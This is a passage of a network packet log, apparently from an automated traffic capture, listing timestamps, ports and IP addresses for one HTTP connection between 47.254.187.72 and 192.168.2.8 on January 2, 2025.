Jan 2, 2025 20:20:09.264743090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264749050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264754057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264758110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264764071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264779091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264780998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.264789104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264805079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264820099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264827013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.264831066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264836073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.264842033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.264889956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.264889956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.292234898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292251110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292262077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292273045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292284966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292295933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292330980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.292375088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292387962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.292392969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292404890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292416096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292426109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292437077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292448997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292454958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.292454958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.292459965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292471886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.292493105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.292493105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.292525053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.303641081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303653955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303666115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303675890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303687096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303693056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303699970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303705931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.303714991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.303761005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.310221910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.310235023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.310246944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.310256004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.310267925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.310277939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.310291052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.310292006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.310321093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.310426950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.315042019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315052986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315135002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.315181971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315193892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315206051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315233946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.315274954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.315304995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315323114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315335989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315346003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.315366983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.315401077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.317851067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317861080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317871094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317883015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317892075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317902088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.317903042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317914009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317924976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317934036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.317938089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.317956924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.317976952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.334491968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334503889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334516048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334526062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334537029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334549904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334570885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.334646940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.334652901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334662914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.334738970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347672939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347692966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347704887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347714901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347726107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347735882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347748041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347747087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347757101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347784042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347805023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347821951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347824097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347834110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347843885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347855091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347865105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347865105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347877026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347893953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347893953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347908974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347913980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347932100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347943068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347953081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347965002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347966909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347966909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347975016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347982883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.347985983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.347995996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348007917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348016977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348027945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348030090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348030090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348037958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348047018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348057032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348078012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348078012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348088980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348105907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348117113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348119974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348119974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348128080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348145962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348151922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348156929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348169088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348177910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348189116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348198891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348203897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348203897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348212957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348231077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348239899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348242998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348253012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348263025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348263979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348274946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348284960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348295927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348305941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348305941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.348346949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.348347902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.353374004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.353385925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.353403091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.353413105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.353424072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.353435040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.353461981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.353461981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.353482962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.353494883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.353599072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355134010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355195045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355240107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355249882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355259895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355277061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355283976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355293036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355304956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355325937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355334044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355340004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355349064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355364084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355364084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355390072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355403900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355407000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355420113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355431080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355441093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355452061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.355479002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355479002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.355520010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382119894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382147074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382155895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382168055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382200956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382201910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382219076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382230043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382247925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382253885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382260084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382272005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382277012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382277966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382289886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382314920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382318020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382329941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382340908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382350922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382361889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.382361889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382361889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382421017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.382421017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.393593073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393644094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393654108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393667936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393676043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.393688917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393691063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.393698931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393709898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393722057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393728971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.393733025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393743038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.393754005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.393786907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.393786907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400213957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400249004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400280952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400298119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400301933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400338888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400358915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400372982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400391102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400417089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400419950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400448084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400479078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.400481939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400506973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.400662899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.403814077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.403845072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.403908968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.403920889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.403932095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.403932095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.403932095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.403944016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.403965950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.404002905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.404006004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.404016972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.404109001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.407608986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407622099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407634020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407656908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407663107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.407669067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407680988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407684088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.407692909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407705069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.407751083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.407751083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.424666882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.424680948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.424693108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.424704075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.424714088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.424725056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.424732924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.424736977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.424798012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.437956095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.437974930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.437987089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.437997103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438014984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438016891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438028097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438040018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438081980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438081980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438143969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438155890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438174963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438184977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438201904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438203096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438211918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438226938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438236952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438247919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438251972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438251972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438258886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438276052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438287973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438293934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438298941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438322067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438333035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438337088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438337088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438344002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438355923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438366890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438379049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438390017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438391924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438391924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438400030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438410997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438421011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438431025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438431978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438441992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438452005 CET	80	49704	47.254.187.72	192.168.2.8
